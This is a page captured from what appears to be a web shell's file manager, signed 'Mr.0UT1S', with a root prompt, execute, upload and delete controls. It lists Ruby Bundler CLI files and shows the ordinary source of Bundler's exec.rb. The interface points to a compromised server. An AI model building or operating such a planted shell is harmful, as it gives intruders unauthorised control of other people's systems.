opt
/
alt
/
ruby26
/
lib64
/
ruby
/
2.6.0
/
bundler
/
cli
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
add.rb
1.25 KB
Rename
Delete
binstubs.rb
1.65 KB
Rename
Delete
cache.rb
1.07 KB
Rename
Delete
check.rb
1.24 KB
Rename
Delete
clean.rb
606 bytes
Rename
Delete
common.rb
3.43 KB
Rename
Delete
config.rb
3.28 KB
Rename
Delete
console.rb
1.05 KB
Rename
Delete
doctor.rb
3.86 KB
Rename
Delete
exec.rb
2.97 KB
Rename
Delete
gem.rb
8.55 KB
Rename
Delete
info.rb
1.48 KB
Rename
Delete
init.rb
1.16 KB
Rename
Delete
inject.rb
2.11 KB
Rename
Delete
install.rb
8.61 KB
Rename
Delete
issue.rb
1.25 KB
Rename
Delete
list.rb
1.93 KB
Rename
Delete
lock.rb
1.77 KB
Rename
Delete
open.rb
771 bytes
Rename
Delete
outdated.rb
8.62 KB
Rename
Delete
package.rb
1.44 KB
Rename
Delete
platform.rb
1.38 KB
Rename
Delete
plugin.rb
1.03 KB
Rename
Delete
pristine.rb
1.53 KB
Rename
Delete
remove.rb
375 bytes
Rename
Delete
show.rb
2.21 KB
Rename
Delete
update.rb
3.30 KB
Rename
Delete
viz.rb
1.06 KB
Rename
Delete
# frozen_string_literal: true require "bundler/current_ruby" module Bundler class CLI::Exec attr_reader :options, :args, :cmd TRAPPED_SIGNALS = %w[INT].freeze def initialize(options, args) @options = options @cmd = args.shift @args = args if Bundler.current_ruby.ruby_2? && !Bundler.current_ruby.jruby? @args << { :close_others => !options.keep_file_descriptors? } elsif options.keep_file_descriptors? Bundler.ui.warn "Ruby version #{RUBY_VERSION} defaults to keeping non-standard file descriptors on Kernel#exec." end end def run validate_cmd! SharedHelpers.set_bundle_environment if bin_path = Bundler.which(cmd) if !Bundler.settings[:disable_exec_load] && ruby_shebang?(bin_path) return kernel_load(bin_path, *args) end # First, try to exec directly to something in PATH if Bundler.current_ruby.jruby_18? kernel_exec(bin_path, *args) else kernel_exec([bin_path, cmd], *args) end else # exec using the given command kernel_exec(cmd, *args) end end private def validate_cmd! return unless cmd.nil? Bundler.ui.error "bundler: exec needs a command to run" exit 128 end def kernel_exec(*args) ui = Bundler.ui Bundler.ui = nil Kernel.exec(*args) rescue Errno::EACCES, Errno::ENOEXEC Bundler.ui = ui Bundler.ui.error "bundler: not executable: #{cmd}" exit 126 rescue Errno::ENOENT Bundler.ui = ui Bundler.ui.error "bundler: command not found: #{cmd}" Bundler.ui.warn "Install missing gem executables with `bundle install`" exit 127 end def kernel_load(file, *args) args.pop if args.last.is_a?(Hash) ARGV.replace(args) $0 = file Process.setproctitle(process_title(file, args)) if Process.respond_to?(:setproctitle) ui = Bundler.ui Bundler.ui = nil require "bundler/setup" TRAPPED_SIGNALS.each {|s| trap(s, "DEFAULT") } Kernel.load(file) rescue SystemExit, SignalException raise rescue Exception => e # rubocop:disable Lint/RescueException Bundler.ui = ui Bundler.ui.error "bundler: failed to load command: #{cmd} (#{file})" backtrace = e.backtrace ? e.backtrace.take_while {|bt| !bt.start_with?(__FILE__) } : [] abort "#{e.class}: #{e.message}\n #{backtrace.join("\n ")}" end def process_title(file, args) "#{file} #{args.join(" ")}".strip end def ruby_shebang?(file) possibilities = [ "#!/usr/bin/env ruby\n", "#!/usr/bin/env jruby\n", "#!/usr/bin/env truffleruby\n", "#!#{Gem.ruby}\n", ] if File.zero?(file) Bundler.ui.warn "#{file} is empty" return false end first_line = File.open(file, "rb") {|f| f.read(possibilities.map(&:size).max) } possibilities.any? {|shebang| first_line.start_with?(shebang) } end end end
Save